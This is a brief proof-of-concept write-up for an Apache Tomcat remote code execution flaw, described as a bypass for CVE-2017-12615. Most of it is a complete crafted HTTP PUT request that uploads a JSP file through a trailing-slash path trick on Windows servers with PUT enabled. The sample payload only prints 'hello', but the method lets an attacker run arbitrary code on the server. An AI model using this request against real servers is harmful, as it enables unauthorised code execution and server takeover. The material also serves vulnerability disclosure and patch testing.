Apache Tomcat JSP Upload Bypass / Remote Code Execution

`When running on Windows with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default to false) it was possible to upload a JSP file to the server via a specially crafted request.   
This JSP could then be requested and any code it contained would be executed by the server.  
  
The PoC is like this:  
  
PUT /1.jsp/ HTTP/1.1  
Host: 192.168.3.103:8080  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8  
Referer: http://192.168.3.103:8080/examples/  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2  
Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94  
Connection: close  
Content-Length: 26  
  
<% out.println("hello");%>  
  
It is the bypass for CVE-2017-12615  
  
`